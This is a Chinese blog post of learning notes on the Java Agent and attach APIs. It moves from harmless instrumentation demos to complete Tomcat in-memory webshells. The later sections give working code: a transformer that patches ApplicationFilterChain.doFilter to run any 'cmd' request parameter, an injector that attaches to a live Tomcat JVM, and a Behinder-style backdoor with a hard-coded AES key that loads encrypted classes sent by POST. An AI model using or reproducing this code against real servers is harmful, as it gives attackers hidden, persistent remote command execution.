Java Agent和内存马

前言:之前都没了解过Java Agent,这篇笔记主要记录学习下什么是Java Agent以及Java Agent的内存马的实现

参考文章:https://afoo.me/posts/2010-11-25-jvm_attach_api_introduction_and_practice.html
参考文章:https://docs.oracle.com/en/java/javase/12/docs/specs/jvmti.html
参考文章:https://www.cnblogs.com/rebeyond/p/9686213.html
参考文章:https://www.cnblogs.com/nice0e3/p/14086165.html
参考文章:https://www.cnblogs.com/CoLo/p/15941450.html
参考文章:https://y4er.com/posts/javaagent-tomcat-memshell/

Java Agent的机制

在jdk1.5版本开始,Java新增了Instrumentation(Java Agent API)和JVMTI(JVM Tool Interface)功能,允许JVM在加载某个class文件之前对其字节码进行修改,同时也支持对已加载的class(类字节码)进行重新加载。

而在jdk1.6新增了attach(附加方式)方式,可以对运行中的Java进程插入Agent。

Java Agent的作用

Java Agent可以去实现字节码插桩、动态跟踪分析等,比如RASP产品和Java Agent内存马,这里的话主要学习Java Agent更多的学习是内存马相关的领域

利用Java Agent这一特性衍生出了APM(Application Performance Management,应用性能管理)、RASP(Runtime application self-protection,运行时应用自我保护)、IAST(Interactive Application Security Testing,交互式应用程序安全测试)等相关产品,它们都无一例外的使用了Instrumentation/JVMTI的API来实现动态修改Java类字节码并插入监控或检测代码。

Java Agent的两种运行模式

agent方式

参考文章:https://docs.oracle.com/en/java/javase/12/docs/specs/jvmti.html

启动Java程序时添加-javaagent(Instrumentation API实现方式),比如java -javaagent:你的jar包路径

-agentpath-agentlib (agentpath和agentlib都是JVMTI的实现方式),比如java -agentpath:你的jar包路径 或者 java -agentlib:你的jar包路径

知识点:关于-agentpath-agentlib这两个选项的话都是使用c/c++开发基于jvmti开发的动态库或者是静态库,而javaagent的话可以直接通过java来进行开发会比较方便。还有一个点的话就是关于agentpath和agentlib的区别,简单的来说就是一个相对路径和一个绝对路径的区别,更详细的大家可以参考上面的文章手册来进行学习。

attach(附加方式)方式

上面这两种运行方式的最大区别在于第一种方式只能在程序启动时指定Agent文件,而attach方式可以在Java程序运行后根据进程ID动态注入Agent到JVM

这里还可以思考下如果我们想要用Java Agent来实现内存马的方式要用哪种模式会比较好呢,那一般都是attach,因为实战环境并不是还未启动的,所以通过attach能够实现动态注入是更加有效的

Instrumentation模式

java.lang.instrument.Instrumentation是监测运行在JVM程序的Java API,利用Instrumentation我们可以实现如下功能

  • 动态添加或移除自定义的ClassFileTransformer(addTransformer/removeTransformer),JVM会在类加载时调用Agent中注册的ClassFileTransformer

所以我们主要实现的就是ClassFileTransformer类,相关要在被代理类执行之前的操作都是在我们实现ClassFileTransformer类中的transform中进行执行

知识点:多个Transformer转换器同时存在的时候,转换会由Transformer链来执行,一个tranform类返回的byte[]会作为下一个的classfilebuffer参数的输入。

  • 动态修改classpath(appendToBootstrapClassLoaderSearch、appendToSystemClassLoaderSearch),将Agent程序添加到BootstrapClassLoader和SystemClassLoaderSearch(对应的是ClassLoader类的getSystemClassLoader方法,默认是sun.misc.Launcher$AppClassLoader)中搜索,这个说实话不是非常的理解具体有什么用,是关于双亲委派吗,那作用是什么呢?以后知道了再过来补上

  • 动态获取所有JVM已加载的类(getAllLoadedClasses)

  • 动态获取某个类加载器已实例化的所有类(getInitiatedClasses)

  • 重定义某个已加载的类的字节码(redefineClasses)

  • 动态设置JNI前缀(setNativeMethodPrefix),可以实现Hook native方法

  • 重新加载某个已经被JVM加载过的类字节码retransformClasses

这里简单的编写一个Instrumentation的demo来进行学习,首先需要知道要实现Instrumentation的两个条件

  • jar包中的MANIFEST.MF 文件必须指定Premain-Class项

  • Premain-Class 指定的那个类必须实现premain方法

Agent.java

这里定义的premain方法会在运行被代理类main方法前被调用

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        inst.addTransformer(new DefineTransformer(), true);
    }
}    

DefineTransformer.java

Agent.java中添加了DefineTransformer,那么这里的transform方法会在运行被代理类main方法前被调用

public class DefineTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println("premain load Class:" + className);
        return new byte[0];
    }
}

MANIFEST.MF

  • Premain-Class :包含 premain 方法的类(类的全路径名)
  • Agent-Class :包含 agentmain 方法的类(类的全路径名)
  • Boot-Class-Path :设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
  • Can-Redefine-Classes :true表示能重定义此代理所需的类,默认值为 false(可选)
  • Can-Retransform-Classes :true 表示能重转换此代理所需的类,默认值为 false (可选)
  • Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.zpchcbd.Agent

知识点:如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在MANIFEST.MF中添加Can-Retransform-Classes: true或Can-Redefine-Classes: true

上面可以看到我直接是手动创建MANIFEST.MF,但是你还可以通过pom.xml来进行创建,大家也可以自己试下,我这边没有试过

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.1.0</version>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                        </manifest>
                        <manifestEntries>
                            <Premain-Class>com.zpchcbd.Agent</Premain-Class>
                            <Agent-Class>com.zpchcbd.Agent</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>6</source>
                    <target>6</target>
                </configuration>
            </plugin>
        </plugins>
    </build>

将上面的工程打包为jar包

在创建一个"被代理类" TestMain.java

public class TestMain {
    public static void main(String[] args) {
        System.out.println("my name is TestMain");
    }
}

然后手动创建jar包,指定MANIFEST.MF在src目录下

然后指定vm参数-javaagent:out/artifacts/what_java_agent_jar/what-java-agent.jar

最后运行TestMain.java,最终结果如下所示

JVMTI的就不演示了,实际上就是加载jni编写生成的dll,这里可以参考下文章:https://www.cnblogs.com/CLAYJJ/p/7992064.html

attach附加模式

attach实现动态注入的原理,简单的说下,通过VirtualMachine类的attach方法附加到一个运行中的java进程上,之后便可以通过loadAgent来将agent的jar包注入到对应的进程,然后对应的进程会调用agentmain方法,这个听起来跟windows的dll线程注入很像,可以作为这种来进行理解,但是java中的attach具体我也不清楚是如何工作的,以后学习可以补充起来

通过attach附加模式来进行动态注入需要用到两个类,一个是VirtualMachine和VirtualMachineDescriptor

这里的话需要用到tools.jar,因为这两个类都在tools.jar中,这里用pom.xml的依赖方式来进行导入

<dependency>
    <groupId>com.sun</groupId>
    <artifactId>tools</artifactId>
    <version>1.8</version>
    <scope>system</scope>
    <systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>

MANIFEST.MF

这里要从之前的Premain-Class修改为Agent-Class

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.zpchcbd.attach.Agent

AgentMainTransformer.java

public class AgentMainTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer)  throws IllegalClassFormatException {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return classfileBuffer;
    }
}

Agent.java

public class Agent {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new AgentMainTransformer(), true);
    }
}

TestMain.java

public class TestMain {
    public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
        // 寻找当前系统中所有运行着的JVM进程
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            //如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid
            //然后加载 agent.jar 发送给该虚拟机
            System.out.println(vmd.displayName()); //vmd.displayName()看到当前系统都有哪些JVM进程在运行
            if (vmd.displayName().endsWith("com.zpchcbd.attach.TestMain")) {
                VirtualMachine virtualMachine = null;
                virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("target/JavaAgent-1.0-SNAPSHOT.jar");
                virtualMachine.detach();
            }
        }
    }
}

运行TestMain.java,结果如下所示,可以看到成功进行attach动态注入jar了

到这里其实可以大致理清基于attach模式下的agent注入了

  • 首先需要实现Agent类,作为一个代理类,该代理类中用到Transformer

  • 自定义实现Transformer,这个主要就是进行attack注入进程之后的操作

  • 还需要一个注入器,注入器负责的工作就是找到要注入的进程,然后再将要注入的jar注入到该进程中

cmd类型的内存马实现

这边介绍如何通过java agent来实现cmd内存马的注入,更多的可以自己慢慢拓展

Agent.java

public class Agent {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new CMDTransformer(), true);
        // 在被注入的进程中进行遍历已经加载的类,如果是org.apache.catalina.core.ApplicationFilterChain
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (int i = 0; i < loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    // 那么通过retransformClasses方法将该org.apache.catalina.core.ApplicationFilterChain类的字节码更新
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var9) {
                    var9.printStackTrace();
                }
            }
        }
    }
}

CMDTransformer.java

public class CMDTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "Process process = Runtime.getRuntime().exec(cmd);\n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
                        "new java.io.InputStreamReader(process.getInputStream()));\n" +
                        "StringBuilder stringBuilder = new StringBuilder();\n" +
                        "String line;\n" +
                        "while ((line = bufferedReader.readLine()) != null) {\n" +
                        "stringBuilder.append(line + '\\n');\n" +
                        "}\n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
                        "res.getOutputStream().flush();\n" +
                        "res.getOutputStream().close();\n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

将上面的代码打包为jar包,这里记得选择的是extract to the target jar的选项,因为在对进程中注入对应的jar的时候还需要用到javassist,所以javassist需要一同打包到jar中

MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.zpchcbd.mem.Agent

SuccessMain.java

package com.zpchcbd.mem;

public class SuccessMain {
    public static void main(String[] args) throws Exception {
        // 注入的地址
        String agentPath = "/Users/lingchi/study-something/java/what-java-agent/out/artifacts/what_java_agent_jar/what-java-agent.jar";
        try {
            java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
            java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
            java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
            add.setAccessible(true);
            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
            Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
            java.util.List<Object> invoke = (java.util.List<Object>) list.invoke(null, new Object[]{});
            for (int i = 0; i < invoke.size(); i++) {
                Object o = invoke.get(i);
                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
                Object name = displayName.invoke(o, new Object[]{});
                System.out.println(String.format("find jvm process name:[[[" +  "%s" + "]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
                    loadAgent.invoke(machine, new Object[]{agentPath});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
                    detach.invoke(machine, new Object[]{});
                    System.out.println("inject tomcat done, break.");
                    System.out.println("check url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行结果如下所示,显示注入成功

这边进行测试,访问 http://127.0.0.1:8080/?cmd=whoami ,可以发现注入成功

filter类型实现的behind内存马

吐槽下javassist的坑点在挺多,不过好在最后还是解决了

public class BehindTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(classPath);
            }
            CtClass cc;

            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest request = request;\n" +
                        "javax.servlet.http.HttpServletResponse response = response;\n" +
                        "javax.servlet.http.HttpSession session = request.getSession();\n" +
                        "java.util.HashMap pageContext = new java.util.HashMap();\n" +
                        "pageContext.put(\"session\", session);\n" +
                        "pageContext.put(\"request\", request);\n" +
                        "pageContext.put(\"response\", response);\n" +
                        "String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "if (request.getMethod().equals(\"POST\")) {\n" +
                        "   String k = \"e45e329feb5d925b\";\n" +
                        "   session.putValue(\"u\", k);\n" +
                        "   javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(\"AES\");\n" +
                        "   c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), \"AES\"));\n" +
                        "   Class clazz = java.lang.Class.forName(\"java.lang.ClassLoader\");\n" +
                        "   java.lang.reflect.Method method = clazz.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE});\n" +
                        "   method.setAccessible(true);\n" +
                        "   byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));\n" +
                        "   Class evilclass = (Class)method.invoke(java.lang.ClassLoader.getSystemClassLoader(), new Object[]{evilclass_byte, new java.lang.Integer(0), new java.lang.Integer(evilclass_byte.length)});\n" +
                        "   evilclass.newInstance().equals(pageContext);\n" +
                        "}\n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

posted @ 2021-05-30 19:09  zpchcbd  阅读(205)  评论(0)    收藏  举报